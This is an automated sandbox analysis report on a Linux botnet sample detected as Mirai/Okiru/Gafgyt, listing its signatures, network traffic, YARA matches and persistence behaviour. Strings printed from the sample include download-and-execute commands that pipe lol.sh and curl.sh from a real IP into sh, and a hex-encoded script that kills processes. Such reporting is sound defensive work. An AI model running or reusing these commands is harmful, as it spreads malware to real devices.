Linux Analysis Report
newsample

Overview

General Information

Sample name: newsample
Analysis ID: 1541391
MD5: 63ef9bdcf578595d7cee0db6550b590b
SHA1: 40ffaa394560da0e5d0a1f4ed01d5ae447f4d5c8
SHA256: 4faad174a54e9b5c759ce83d0e544fa8a71186f6c2cc4a9481e18a817b11d2db
Infos:

Detection

Mirai, Okiru
Score: 100
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Machine Learning detection for sample
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "rm" command used to delete files or directories
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Writes shell script file to disk with an unusual file extension
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: newsample Avira: detected
Multi AV Scanner detection for submitted file
Source: newsample ReversingLabs: Detection: 75%
Machine Learning detection for sample
Source: newsample Joe Sandbox ML: detected
Found strings indicative of a multi-platform dropper
Source: newsample String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh487154914<146<2surf2/proc/%d/exe/.socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_1104/proc/self/statusTracerPid/proc/1/cgroupkubepods/etc/motd%s
Source: newsample String: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:38960 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.23:41056 -> 193.143.1.59:38242
Sample listens on a socket
Source: /tmp/newsample (PID: 6242) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: newsample, custom.service.32.dr, sh.58.dr, mybinary.32.dr, bootcmd.32.dr, inittab.32.dr, profile.32.dr String found in binary or memory: http://193.143.1.70/
Source: newsample String found in binary or memory: http://193.143.1.70/curl.sh
Source: newsample String found in binary or memory: http://193.143.1.70/lol.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh487154914<146<2surf2/proc/%d/exe/.socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_1104/proc/self/st
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k193.143.1.70GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x2
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/newsample (PID: 6252) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/newsample (PID: 6252) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/newsample (PID: 6252) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/newsample (PID: 6252) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/newsample (PID: 6252) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/newsample (PID: 6252) SIGKILL sent: pid: 6283, result: successful Jump to behavior
Source: /tmp/newsample (PID: 6252) SIGKILL sent: pid: 6304, result: successful Jump to behavior
Yara signature match
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: newsample, type: SAMPLE Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6242.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6252.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: classification engine Classification label: mal100.spre.troj.evad.lin@0/9@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/newsample (PID: 6242) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/newsample (PID: 6242) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6322) File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary Jump to behavior
Source: /usr/bin/ln (PID: 6329) File: /etc/rc.d/S99sh -> /etc/init.d/sh Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/newsample (PID: 6242) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6316) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6325) File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/newsample (PID: 6333) File opened: /proc/6395/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6043/cmdline Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6430/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6421/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6432/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6398/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6431/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6423/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6434/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6411/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6422/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6433/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6393/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/2/cmdline Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6425/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6436/status Jump to behavior
Source: /tmp/newsample (PID: 6333) File opened: /proc/6424/status Jump to behavior
